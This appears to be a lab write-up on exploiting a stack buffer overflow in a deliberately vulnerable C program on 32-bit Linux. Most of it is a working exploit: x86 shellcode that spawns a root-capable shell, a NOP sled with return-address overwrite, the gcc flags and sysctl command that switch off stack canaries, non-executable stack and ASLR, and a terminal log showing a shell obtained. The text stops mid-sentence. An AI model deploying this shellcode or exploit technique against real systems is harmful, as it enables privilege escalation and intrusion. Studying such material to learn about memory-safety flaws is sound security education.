Target program:
// vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
}
The vulnerability is using strcpy
with no bound check. The parameter of main function may exceed 100.
The exploit program:
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[])
{
unsigned int i, *ptr, ret, offset = 300;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./vulnerable \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
How to trigger stack overflow?
lyu@ubuntu:~/Desktop/work$ uname -a
Linux ubuntu 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:41 UTC 2017 i686 i686 i686 GNU/Linux
lyu@ubuntu:~/Desktop/work$ gcc -fno-stack-protector -z execstack vulnerable.c -o vulnerable
vulnerable.c: In function ‘main’:
vulnerable.c:9:3: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
strcpy(searchstring, argv[1]);
^
vulnerable.c:9:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vulnerable.c:9:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
lyu@ubuntu:~/Desktop/work$ gcc -fno-stack-protector -z execstack -g exploit.c -o exploit
lyu@ubuntu:~/Desktop/work$ ./exploit
$ uname
Linux
$
set gcc
flag -fno-stack-protector -z execstack
, which turn stack canary and non-executable stack off.
Also use sudo sysctl kernel.randomize_va_space=0
to temparaly disable ASLR.
The shellcode here creates a new shell.
exploit.c
create a string with structure shown below: